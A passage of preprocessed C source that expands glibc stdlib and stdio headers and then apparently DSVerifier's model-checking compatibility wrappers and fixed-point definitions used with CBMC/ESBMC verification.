__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int mrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int jrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srand48_r (long int __seedval, struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int seed48_r (unsigned short int __seed16v[3],
struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lcong48_r (unsigned short int __param[7],
struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern void *calloc (size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (1, 2))) ;
extern void *realloc (void *__ptr, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)) __attribute__ ((__alloc_size__ (2)));
extern void *reallocarray (void *__ptr, size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__))
__attribute__ ((__alloc_size__ (2, 3)));
extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));
# 1 "/usr/include/alloca.h" 1 3 4
# 24 "/usr/include/alloca.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 25 "/usr/include/alloca.h" 2 3 4
extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__));
# 569 "/usr/include/stdlib.h" 2 3 4
extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern void *aligned_alloc (size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (2))) ;
extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int at_quick_exit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void quick_exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern char *getenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 647 "/usr/include/stdlib.h" 3 4
extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int setenv (const char *__name, const char *__value, int __replace)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int unsetenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__));
# 675 "/usr/include/stdlib.h" 3 4
extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 688 "/usr/include/stdlib.h" 3 4
extern int mkstemp (char *__template) __attribute__ ((__nonnull__ (1))) ;
# 710 "/usr/include/stdlib.h" 3 4
extern int mkstemps (char *__template, int __suffixlen) __attribute__ ((__nonnull__ (1))) ;
# 731 "/usr/include/stdlib.h" 3 4
extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 784 "/usr/include/stdlib.h" 3 4
extern int system (const char *__command) ;
# 800 "/usr/include/stdlib.h" 3 4
extern char *realpath (const char *__restrict __name,
char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) ;
typedef int (*__compar_fn_t) (const void *, const void *);
# 820 "/usr/include/stdlib.h" 3 4
extern void *bsearch (const void *__key, const void *__base,
size_t __nmemb, size_t __size, __compar_fn_t __compar)
__attribute__ ((__nonnull__ (1, 2, 5))) ;
extern void qsort (void *__base, size_t __nmemb, size_t __size,
__compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4)));
# 840 "/usr/include/stdlib.h" 3 4
extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern long long int llabs (long long int __x)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern div_t div (int __numer, int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern ldiv_t ldiv (long int __numer, long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern lldiv_t lldiv (long long int __numer,
long long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
# 872 "/usr/include/stdlib.h" 3 4
extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *gcvt (double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern char *qecvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qfcvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qgcvt (long double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qecvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qfcvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int mblen (const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int mbtowc (wchar_t *__restrict __pwc,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__));
extern size_t mbstowcs (wchar_t *__restrict __pwcs,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern size_t wcstombs (char *__restrict __s,
const wchar_t *__restrict __pwcs, size_t __n)
__attribute__ ((__nothrow__ , __leaf__));
extern int rpmatch (const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 957 "/usr/include/stdlib.h" 3 4
extern int getsubopt (char **__restrict __optionp,
char *const *__restrict __tokens,
char **__restrict __valuep)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) ;
# 1003 "/usr/include/stdlib.h" 3 4
extern int getloadavg (double __loadavg[], int __nelem)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 1013 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h" 1 3 4
# 1014 "/usr/include/stdlib.h" 2 3 4
# 1023 "/usr/include/stdlib.h" 3 4
# 18 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 66 "/usr/include/assert.h" 3 4
extern void __assert_fail (const char *__assertion, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert_perror_fail (int __errnum, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert (const char *__assertion, const char *__file, int __line)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/stdio.h" 1 3 4
# 27 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 28 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 34 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 37 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 1 3 4
# 13 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 3 4
typedef struct
{
int __count;
union
{
unsigned int __wch;
char __wchb[4];
} __value;
} __mbstate_t;
# 6 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 2 3 4
typedef struct _G_fpos_t
{
__off_t __pos;
__mbstate_t __state;
} __fpos_t;
# 40 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 3 4
typedef struct _G_fpos64_t
{
__off64_t __pos;
__mbstate_t __state;
} __fpos64_t;
# 41 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE __FILE;
# 42 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE FILE;
# 43 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 3 4
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;
typedef void _IO_lock_t;
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
# 44 "/usr/include/stdio.h" 2 3 4
# 52 "/usr/include/stdio.h" 3 4
typedef __gnuc_va_list va_list;
# 84 "/usr/include/stdio.h" 3 4
typedef __fpos_t fpos_t;
# 133 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4
# 134 "/usr/include/stdio.h" 2 3 4
extern FILE *stdin;
extern FILE *stdout;
extern FILE *stderr;
extern int remove (const char *__filename) __attribute__ ((__nothrow__ , __leaf__));
extern int rename (const char *__old, const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern int renameat (int __oldfd, const char *__old, int __newfd,
const char *__new) __attribute__ ((__nothrow__ , __leaf__));
# 173 "/usr/include/stdio.h" 3 4
extern FILE *tmpfile (void) ;
# 187 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
# 204 "/usr/include/stdio.h" 3 4
extern char *tempnam (const char *__dir, const char *__pfx)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int fclose (FILE *__stream);
extern int fflush (FILE *__stream);
# 227 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 246 "/usr/include/stdio.h" 3 4
extern FILE *fopen (const char *__restrict __filename,
const char *__restrict __modes) ;
extern FILE *freopen (const char *__restrict __filename,
const char *__restrict __modes,
FILE *__restrict __stream) ;
# 279 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ;
# 292 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, const char *__modes)
__attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));
extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
size_t __size) __attribute__ ((__nothrow__ , __leaf__));
extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int fprintf (FILE *__restrict __stream,
const char *__restrict __format, ...);
extern int printf (const char *__restrict __format, ...);
extern int sprintf (char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__));
extern int vfprintf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg);
extern int vprintf (const char *__restrict __format, __gnuc_va_list __arg);
extern int vsprintf (char *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg) __attribute__ ((__nothrow__));
extern int snprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, ...)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));
extern int vsnprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));
# 379 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, const char *__restrict __fmt,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, const char *__restrict __fmt, ...)
__attribute__ ((__format__ (__printf__, 2, 3)));
extern int fscanf (FILE *__restrict __stream,
const char *__restrict __format, ...) ;
extern int scanf (const char *__restrict __format, ...) ;
extern int sscanf (const char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")
;
extern int scanf (const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
;
extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))
;
# 432 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__format__ (__scanf__, 2, 0)));
# 485 "/usr/include/stdio.h" 3 4
extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);
extern int getchar (void);
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 510 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);
# 521 "/usr/include/stdio.h" 3 4
extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);
extern int putchar (int __c);
# 537 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);
extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);
extern int getw (FILE *__stream);
extern int putw (int __w, FILE *__stream);
extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
;
# 603 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getline (char **__restrict __lineptr,
size_t *__restrict __n,
FILE *__restrict __stream) ;
extern int fputs (const char *__restrict __s, FILE *__restrict __stream);
extern int puts (const char *__s);
extern int ungetc (int __c, FILE *__stream);
extern size_t fread (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __s);
# 673 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite_unlocked (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream);
extern int fseek (FILE *__stream, long int __off, int __whence);
extern long int ftell (FILE *__stream) ;
extern void rewind (FILE *__stream);
# 707 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off_t __off, int __whence);
extern __off_t ftello (FILE *__stream) ;
# 731 "/usr/include/stdio.h" 3 4
extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos);
extern int fsetpos (FILE *__stream, const fpos_t *__pos);
# 757 "/usr/include/stdio.h" 3 4
extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void perror (const char *__s);
# 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4
# 26 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern const char *const sys_errlist[];
# 782 "/usr/include/stdio.h" 2 3 4
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
# 800 "/usr/include/stdio.h" 3 4
extern FILE *popen (const char *__command, const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 840 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 858 "/usr/include/stdio.h" 3 4
extern int __uflow (FILE *);
extern int __overflow (FILE *, int);
# 873 "/usr/include/stdio.h" 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
void __DSVERIFIER_assume(_Bool expression){
__CPROVER_assume(expression);
}
void __DSVERIFIER_assert(_Bool expression){
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 36, __extension__ __PRETTY_FUNCTION__); }))
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
void __DSVERIFIER_assert_msg(_Bool expression, char * msg){
printf("%s", msg);
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 41, __extension__ __PRETTY_FUNCTION__); }))
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
# 22 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 1
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 1 3 4
# 9 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 3 4
# 1 "/usr/include/stdint.h" 1 3 4
# 26 "/usr/include/stdint.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 27 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wchar.h" 1 3 4
# 29 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 30 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
typedef __uint8_t uint8_t;
typedef __uint16_t uint16_t;
typedef __uint32_t uint32_t;
typedef __uint64_t uint64_t;
# 38 "/usr/include/stdint.h" 2 3 4
typedef __int_least8_t int_least8_t;
typedef __int_least16_t int_least16_t;
typedef __int_least32_t int_least32_t;
typedef __int_least64_t int_least64_t;
typedef __uint_least8_t uint_least8_t;
typedef __uint_least16_t uint_least16_t;
typedef __uint_least32_t uint_least32_t;
typedef __uint_least64_t uint_least64_t;
typedef signed char int_fast8_t;
typedef long int int_fast16_t;
typedef long int int_fast32_t;
typedef long int int_fast64_t;
# 71 "/usr/include/stdint.h" 3 4
typedef unsigned char uint_fast8_t;
typedef unsigned long int uint_fast16_t;
typedef unsigned long int uint_fast32_t;
typedef unsigned long int uint_fast64_t;
# 87 "/usr/include/stdint.h" 3 4
typedef long int intptr_t;
typedef unsigned long int uintptr_t;
# 101 "/usr/include/stdint.h" 3 4
typedef __intmax_t intmax_t;
typedef __uintmax_t uintmax_t;
# 10 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 2 3 4
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 1 "/usr/include/inttypes.h" 1 3 4
# 34 "/usr/include/inttypes.h" 3 4
typedef int __gwchar_t;
# 266 "/usr/include/inttypes.h" 3 4
typedef struct
{
long int quot;
long int rem;
} imaxdiv_t;
# 290 "/usr/include/inttypes.h" 3 4
extern intmax_t imaxabs (intmax_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern imaxdiv_t imaxdiv (intmax_t __numer, intmax_t __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern intmax_t strtoimax (const char *__restrict __nptr,
char **__restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t strtoumax (const char *__restrict __nptr,
char ** __restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern intmax_t wcstoimax (const __gwchar_t *__restrict __nptr,
__gwchar_t **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t wcstoumax (const __gwchar_t *__restrict __nptr,
__gwchar_t ** __restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
# 432 "/usr/include/inttypes.h" 3 4
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
extern implementation impl;
typedef int64_t fxp_t;
fxp_t _fxp_one;
fxp_t _fxp_half;
fxp_t _fxp_minus_one;
fxp_t _fxp_min;
fxp_t _fxp_max;
double _dbl_max;
double _dbl_min;
fxp_t _fxp_fmask;
fxp_t _fxp_imask;
static const double scale_factor[31] = { 1.0, 2.0, 4.0, 8.0, 16.0, 32.0, 64.0,
128.0, 256.0, 512.0, 1024.0, 2048.0, 4096.0, 8192.0, 16384.0, 32768.0,
65536.0, 131072.0, 262144.0, 524288.0, 1048576.0, 2097152.0, 4194304.0,
8388608.0, 16777216.0, 33554432.0, 67108864.0, 134217728.0,
268435456.0, 536870912.0, 1073741824.0 };
static const double scale_factor_inv[31] = { 1.0, 0.5, 0.25, 0.125, 0.0625,
0.03125, 0.015625, 0.0078125, 0.00390625, 0.001953125, 0.0009765625,
0.00048828125, 0.000244140625, 0.0001220703125, 0.00006103515625,
